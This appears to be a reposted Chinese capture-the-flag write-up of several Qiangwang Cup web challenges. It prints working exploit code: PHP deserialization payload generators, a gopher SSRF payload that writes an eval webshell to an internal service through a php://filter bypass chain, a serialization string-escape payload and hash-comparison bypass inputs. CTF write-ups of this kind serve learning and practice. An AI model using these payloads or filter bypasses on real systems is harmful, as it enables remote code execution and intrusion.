原文地址：http://phoebe233.cn/?p=242

被二進位制爺爺們帶飛Orz

Web

half_infiltration

首先反序列化，由於print之後無論走哪都會有ob_end_clean()，永遠也不會輸出，所以嘗試輸出之後讓他報錯來繞過

這樣global$$this就會輸出並報錯

傳入兩個User，一個輸出，一個報錯繞過ob_end_clean()

<?php
$flag='flag{aaaa}';
class Pass
{
    function read()
    {
        ob_start();
        global $result;
        print $result;
    }
}
class User
{
    public $age,$sex,$num;
    function __destruct()
    {
        $student = $this->age;
        $boy = $this->sex;
        $a = $this->num;
		$student->$boy();
		
    if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
    {
        ob_end_clean();
        exit();
    }
    global $$a;
    $result=$GLOBALS['flag'];
        //ob_end_clean();
    }
}
if (isset($_GET['x'])) {
    unserialize($_GET['x']);
} 
$a=new Pass();
$b=new User();
$c=new User();
$c->age=$a;
$c->sex="read";
$c->num="this";
$b->age=$a;
$b->sex="read";
$b->num='result';
echo urlencode(serialize([$b,$c]));
 

讀到ssrf.php

內網埠探測為40000，內網服務：

原始碼處看到form表單，題目告知有uploads資料夾，猜測是檔案上傳處，發現phpsessid會建立一個資料夾，然後想寫shell時發現有過濾，file這裡可以用二次url繞一些字元，然後大小寫繞base64過濾，content檔案內容也有過濾，還把PD9給ban了，考慮用phpfilter組合過濾器繞

生成gopher打40000埠

gopher://127.0.0.1:40000/_POST%2520/index.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250ACookie%253A%2520PHPSESSID%253Dbv2afbkkbbpgkio8tjmai40ob7%250AContent-Length%253A%2520174%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AConnection%253A%2520close%250d%250A%250Afile%253Dphp%253A//filter/%25252577rite%253Dstring.rot13%257Cconvert.Base64-decode%257Cconvert.iconv.utf-7.utf-8/resource%253D1.php%2526content%253DK0FEdz9waHAgZXZhbCgrQUNRQVh3LUdFVCtBRnMtMCtBRjApK0FEcz8rQUQ0LQ
 

命令執行需要二次編碼

這過濾也是挺狠

強網先鋒

web輔助

反序列化逃逸，安恆月賽都有類似的題了，沒意思

class player{
    protected $user;
    protected $pass;
    protected $admin;
    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }
    public function __wakeup(){
        $this->TP();
    }
}
class midsolo{
    protected $name;
    public function __construct($name){
        $this->name = $name;
    }
    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    public function __invoke(){
        $this->Gank();
    }
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}
class jungle{
    protected $name = "";
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
    public function KS(){
        phpinfo();
    }
    public function __toString(){
        $this->KS();  
        return "";  
    }
}
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}
$d=new jungle(NULL);
$c=new midsolo($d);
$b=new topsolo($c);
$payload=(serialize($b));
$a="\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0";
//$username='\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$b='";s:7:"0*0pass";s:0:"";s:8:"0*0admin";'.$payload;
echo $b."\n";
echo read(write(serialize(new player($a,$b))))."\n";
 

payload

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=";s:7:"%00*%00pass";s:0:"";s:8:"%00*%00admin";O:7:"topsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\00*\00\6e\61\6d\65";N

funhash

?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

主動

cat f*